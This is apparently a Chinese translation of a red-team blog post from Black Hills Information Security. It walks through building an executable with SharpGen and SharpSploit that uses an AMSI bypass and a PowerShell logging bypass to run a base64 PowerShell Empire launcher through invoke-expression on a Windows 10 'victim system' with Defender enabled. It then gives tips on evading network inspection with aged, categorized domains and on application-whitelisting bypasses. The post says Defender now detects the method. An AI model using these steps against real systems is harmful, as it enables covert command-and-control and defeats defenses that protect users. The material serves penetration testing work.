绕过Windows Defender运行PowerShell Empire的技术指南

本文详细介绍了如何利用SharpSploit和SharpGen工具生成可执行文件,通过AMSI绕过和PowerShell日志绕过技术,成功在启用Windows Defender的Windows 10系统上建立PowerShell Empire的C2会话。

绕过Windows Defender运行PowerShell Empire

Carrie Roberts //* (更新于2020年2月12日)
** advisory: 本博文中引用的技术和工具可能已过时,不适用于当前情况。然而,这篇博文仍可作为学习机会,并可能更新或集成到现代工具和技术中。

注意: Windows Defender于2019年2月25日添加了检测,现在将此方法检测为“AmsiTamper.A”。

Windows Defender在阻止许多攻击方面做得很好,包括使用已发布工具(如PowerShell Empire)建立命令与控制(C2)会话的尝试。我最近在寻找一种方法,在启用Windows Defender的Windows 10计算机上建立这样的C2会话。我发现了一个由Ryan Cobb开发的项目SharpSploit,它做到了这一点。SharpSploit将其他安全研究人员的许多其他重要工作结合到一个工具中,并使用C#代码而不是PowerShell.exe创建C2会话。这种技术有助于避免围绕恶意PowerShell活动的一些常见检测。

对于我们当前的目标,特别感兴趣的是SharpSploit快速命令参考中描述的PowerShellExecute方法。

酷!它还使用了Matt Graeber(@mattifestation)的AMSI绕过和Lee Christensen(@tifkin_)的PowerShell日志绕过。这很方便!这里绕过Windows Defender并执行我们的有效负载的关键部分是AMSI绕过。

现在开始让PowerShell Empire有效负载绕过像Windows Defender这样的防病毒解决方案。

我们将使用同样由Ryan Cobb开发的SharpGen,作为一种将我们想要的SharpSploit功能打包到可执行文件中的方式。在构建此可执行文件之前,您需要安装.NET Core SDK,您可以在这里找到。

Windows Defender对SharpGen github仓库中的文件并不感到温暖和舒适。如果您在带有Windows Defender的系统上制作C2,应在Windows Defender设置中将一个文件夹添加到例外列表中。在此文件夹中,您可以不受干扰地使用SharpGen代码。现在,从github拉取SharpGen代码(放入您添加到Windows Defender例外列表的文件夹中)。您可以使用Git For Windows运行此命令:

1
git clone https://github.com/cobbr/SharpGen.git

默认情况下,SharpGen将PowerKatz捆绑到最终的可执行文件中,这仍然会被Windows Defender阻止。由于我们的目标不是运行Mimikatz,我们将通过编辑SharpGen/Resources中的resources.yml,并将所有与PowerKatz相关的条目的enabled字段更改为false来禁用它:

确保resources.yml文件中的每个“Enabled”字段设置为false后,我们准备构建SharpGen DLL。

1
cd SharpGen

以下命令生成一个bin/Release/netcoreapp2.1目录,其中包含我们下一步所需的SharpGen.dll文件。

1
dotnet build -c Release

作为一个简单的示例,我们将首先构建一个使用“Write-Output”在屏幕上打印“hi”的可执行文件。

1
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe -d net40 "Console.WriteLine(Shell.PowerShellExecute(\"Write-Output hi\"));"

您现在将在Output文件夹中找到要在受害者系统上运行的可执行文件。上面命令中的“-d net40”选项目标为.Net 4.0。然后,如果您的受害者系统运行的是.Net 3.5,您可以将其更改为“-d net35”。

运行我们的example.exe将简单地在屏幕上打印“hi”。如果您通过点击运行可执行文件,这将发生得如此之快,您甚至看不到它。我建议您从cmd.exe运行可执行文件,如下所示,以便您可以看到输出。

我们的初始目标可以通过构建一个运行PowerShell一行代码以与Empire建立C2连接的可执行文件来实现。我们使用PowerShell Empire中的multi/launcher stager生成一行代码(有关如何执行此操作的一些提示在这里)。我们只需要生成的base64字符串复制并粘贴到以下命令中。

1
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f Launcher.exe -d net40 "Console.WriteLine(Shell.PowerShellExecute(\"$c = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('<BASE64_LAUNCHER>')); invoke-expression -command $c\"));"

将<BASE64_LAUNCHER>替换为Empire的multi/launcher生成的base64字符串输出(“powershell -noP -sta -w 1 -enc”之后的内容,包括末尾的任何等号)。

您将在Output目录中找到Launcher.exe。将其移动到您的受害者系统,瞧!您已经绕过了Windows Defender。

然而,在企业环境中,这可能不是您需要绕过的唯一防御。例如,可能有网络防御会检查网络流量并关闭通信。以下是一些成功的提示。

  • 使用HTTPS通信通过端口443,使用有效(非自签名)证书。有关如何在Empire中设置此功能的更多信息位于这里。
  • 在启动Empire Listener时更改任何默认值(如DefaultJitter和DefaultProfile)。
  • 使用已老化(非最近购买)和已分类的域名。事实上,如果您使用被分类为政府、医疗保健或金融的域名,您甚至可能避免流量被解密和检查。Detect-SSLmitm是一个PowerShell脚本,您可以在受害者系统上运行以确定哪些网站正在被SSL解密。如果您发现被分类为金融的网站未被解密,请使用该类别中的域名。您可以购买一个域名,在其上托管一些可信的页面,并申请分类(耗时)。或者,您可以购买一个已经被分类但现在可供购买的域名。像Domain Hunter,Joe Vest(@joevest)和Andrew Chiles(@andrewchiles)这样的工具可以帮助您找到这样的域名。
  • 如果应用程序白名单生效并阻止您运行随机可执行文件,请尝试许多应用程序白名单绕过之一。这里有一个@fullmetalcache的例子,我过去曾成功使用过。

— 感谢Carrie在BHIS博客上的另一篇精彩的客座博文!
有关渗透测试、安全评估、红队参与和威胁狩猎:联系我们!

您可以从Carrie的课程中学到更多!
在这里查看它们:
攻击模拟工具:Atomic Red Team、CALDERA等
PowerShell for InfoSec
提供实时/虚拟和点播!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计